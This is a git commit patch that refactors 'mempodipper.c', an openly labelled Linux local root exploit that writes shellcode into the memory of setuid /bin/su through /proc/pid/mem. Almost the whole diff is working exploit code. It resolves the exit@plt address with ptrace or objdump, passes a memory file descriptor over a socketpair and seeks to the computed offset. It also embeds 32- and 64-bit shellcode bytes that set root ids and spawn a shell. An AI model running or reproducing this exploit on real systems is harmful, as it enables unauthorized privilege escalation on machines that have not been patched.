From e4b69563110bcf08b8f4f442096d5b3df2bb3ed9 Mon Sep 17 00:00:00 2001 From: "Jason A. Donenfeld" Date: Tue, 24 Jan 2012 18:54:47 +0100 Subject: Move things into separate functions. --- mempodipper.c | 141 ++++++++++++++++++++++++++++++++++++---------------------- 1 file changed, 89 insertions(+), 52 deletions(-) (limited to 'mempodipper.c') diff --git a/mempodipper.c b/mempodipper.c index e35d62a..5cd9c4a 100644 --- a/mempodipper.c +++ b/mempodipper.c @@ -32,6 +32,8 @@ #include #include +char *prog_name; + int send_fd(int sock, int fd) { char buf[1]; @@ -98,11 +100,14 @@ int recv_fd(int sock) unsigned long ptrace_address() { int fd[2]; + printf("[+] Creating ptrace pipe.\n"); pipe2(fd, O_NONBLOCK); + printf("[+] Forking ptrace child.\n"); int child = fork(); if (child) { close(fd[1]); char buf; + printf("[+] Waiting for ptraced child to give output on syscalls.\n"); for (;;) { wait(NULL); if (read(fd[0], &buf, 1) > 0) @@ -110,6 +115,7 @@ unsigned long ptrace_address() ptrace(PTRACE_SYSCALL, child, NULL, NULL); } + printf("[+] Error message written. Single stepping to find address.\n"); struct user_regs_struct regs; for (;;) { ptrace(PTRACE_SINGLESTEP, child, NULL, NULL); @@ -131,7 +137,11 @@ unsigned long ptrace_address() } } } else { - ptrace(PTRACE_TRACEME, 0, NULL, NULL); + printf("[+] Ptrace_traceme'ing process.\n"); + if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) { + perror("[-] ptrace"); + return 0; + } close(fd[0]); dup2(fd[1], 2); execl("/bin/su", "su", "not-a-valid-user", NULL); @@ -142,6 +152,10 @@ unsigned long ptrace_address() unsigned long objdump_address() { FILE *command = popen("objdump -d /bin/su|grep ''|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r"); + if (!command) { + perror("[-] popen"); + return 0; + } char result[32]; result[0] = 0; fgets(result, 32, command); @@ -149,33 +163,60 @@ unsigned long objdump_address() return strtoul(result, NULL, 16); } -int main(int argc, char **argv) +unsigned long find_address() { - if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') { - char parent_mem[256]; - sprintf(parent_mem, "/proc/%d/mem", getppid()); - printf("[+] Opening parent mem %s in child.\n", parent_mem); - int fd = open(parent_mem, O_RDWR); - if (fd < 0) { - perror("[-] open"); - return 1; + printf("[+] Ptracing su to find next instruction without reading binary.\n"); + unsigned long address = ptrace_address(); + if (!address) { + printf("[-] Ptrace failed.\n"); + printf("[+] Reading su binary with objdump to find exit@plt.\n"); + address = objdump_address(); + if (address == ULONG_MAX || !address) { + printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n"); + printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name); + exit(-1); } - printf("[+] Sending fd %d to parent.\n", fd); - send_fd(atoi(argv[2]), fd); - return 0; } - - printf("===============================\n"); - printf("= Mempodipper =\n"); - printf("= by zx2c4 =\n"); - printf("= Jan 21, 2012 =\n"); - printf("===============================\n\n"); - + printf("[+] Resolved call address to 0x%lx.\n", address); + return address; +} + +int su_padding() +{ + printf("[+] Calculating su padding.\n"); + FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r"); + if (!command) { + perror("[-] popen"); + exit(1); + } + char result[256]; + fgets(result, 256, command); + pclose(command); + return strstr(result, "this-user-does-not-exist") - result; +} + +int child(int sock) +{ + char parent_mem[256]; + sprintf(parent_mem, "/proc/%d/mem", getppid()); + printf("[+] Opening parent mem %s in child.\n", parent_mem); + int fd = open(parent_mem, O_RDWR); + if (fd < 0) { + perror("[-] open"); + return 1; + } + printf("[+] Sending fd %d to parent.\n", fd); + send_fd(sock, fd); + return 0; +} + +int parent(unsigned long address) +{ int sockets[2]; printf("[+] Opening socketpair.\n"); if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) { perror("[-] socketpair"); - return -1; + return 1; } if (fork()) { printf("[+] Waiting for transferred fd in parent.\n"); @@ -183,38 +224,13 @@ int main(int argc, char **argv) printf("[+] Received fd at %d.\n", fd); if (fd < 0) { perror("[-] recv_fd"); - return -1; + return 1; } printf("[+] Assigning fd %d to stderr.\n", fd); - dup2(2, 6); + dup2(2, 15); dup2(fd, 2); - unsigned long address; - if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o') - address = strtoul(argv[2], NULL, 16); - else { - printf("[+] Ptracing su to find next instruction without reading binary.\n"); - address = ptrace_address(); - if (!address) { - printf("[-] Ptrace failed.\n"); - printf("[+] Reading su binary with objdump to find exit@plt.\n"); - address = objdump_address(); - if (address == ULONG_MAX || !address) { - printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n"); - printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]); - return 1; - } - } - printf("[+] Resolved exit@plt to 0x%lx.\n", address); - } - printf("[+] Calculating su padding.\n"); - FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r"); - char result[256]; - result[0] = 0; - fgets(result, 256, command); - pclose(command); - unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char); - unsigned long offset = address - su_padding; + unsigned long offset = address - su_padding(); printf("[+] Seeking to offset 0x%lx.\n", offset); lseek64(fd, offset, SEEK_SET); @@ -222,7 +238,7 @@ int main(int argc, char **argv) // See shellcode-32.s in this package for the source. char shellcode[] = "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3" - "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68" + "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89" "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd" "\x80"; @@ -230,7 +246,7 @@ int main(int argc, char **argv) // See shellcode-64.s in this package for the source. char shellcode[] = "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48" - "\x31\xf6\x40\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f" + "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f" "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7" "\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50" "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05"; @@ -243,6 +259,27 @@ int main(int argc, char **argv) char sock[32]; sprintf(sock, "%d", sockets[0]); printf("[+] Executing child from child fork.\n"); - execl("/proc/self/exe", argv[0], "-c", sock, NULL); + execl("/proc/self/exe", prog_name, "-c", sock, NULL); } + return 0; +} + +int main(int argc, char **argv) +{ + prog_name = argv[0]; + + if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') + return child(atoi(argv[2])); + + printf("===============================\n"); + printf("= Mempodipper =\n"); + printf("= by zx2c4 =\n"); + printf("= Jan 21, 2012 =\n"); + printf("===============================\n\n"); + + if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o') + return parent(strtoul(argv[2], NULL, 16)); + else + return parent(find_address()); + } -- cgit v1.2.3-59-g8ed1b